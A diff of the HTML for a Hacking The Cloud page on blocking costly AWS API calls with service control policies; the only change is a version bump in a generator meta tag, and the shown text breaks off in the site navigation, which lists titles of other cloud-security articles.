-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Avoid AWS bill surprises by blocking known-expensive API calls with an SCP."><link href=https://hackingthe.cloud/aws/general-knowledge/block-expensive-actions-with-scps/ rel=canonical><link href=../aws_organizations_defaults/ rel=prev><link href=../connection-tracking/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Prevent Expensive AWS API Actions with SCPs - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Prevent Expensive AWS API Actions with SCPs - Hacking The Cloud"><meta property=og:description content="Avoid AWS bill surprises by blocking known-expensive API calls with an SCP."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/general-knowledge/block-expensive-actions-with-scps.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/general-knowledge/block-expensive-actions-with-scps/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Prevent Expensive AWS API Actions with SCPs - Hacking The Cloud"><meta property=twitter:description content="Avoid AWS bill surprises by blocking known-expensive API calls with an SCP."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/general-knowledge/block-expensive-actions-with-scps.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Avoid AWS bill surprises by blocking known-expensive API calls with an SCP."><link href=https://hackingthe.cloud/aws/general-knowledge/block-expensive-actions-with-scps/ rel=canonical><link href=../aws_organizations_defaults/ rel=prev><link href=../connection-tracking/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Prevent Expensive AWS API Actions with SCPs - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Prevent Expensive AWS API Actions with SCPs - Hacking The Cloud"><meta property=og:description content="Avoid AWS bill surprises by blocking known-expensive API calls with an SCP."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/general-knowledge/block-expensive-actions-with-scps.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/general-knowledge/block-expensive-actions-with-scps/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Prevent Expensive AWS API Actions with SCPs - Hacking The Cloud"><meta property=twitter:description content="Avoid AWS bill surprises by blocking known-expensive API calls with an SCP."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/general-knowledge/block-expensive-actions-with-scps.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,7 +7,7 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#prevent-expensive-aws-api-actions-with-scps class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1 checked> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=true> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#understanding-service-control-policies class=md-nav__link> <span class=md-ellipsis> Understanding Service Control Policies </span> </a> </li> <li class=md-nav__item> <a href=#safeguard-scp class=md-nav__link> <span class=md-ellipsis> Safeguard SCP </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul 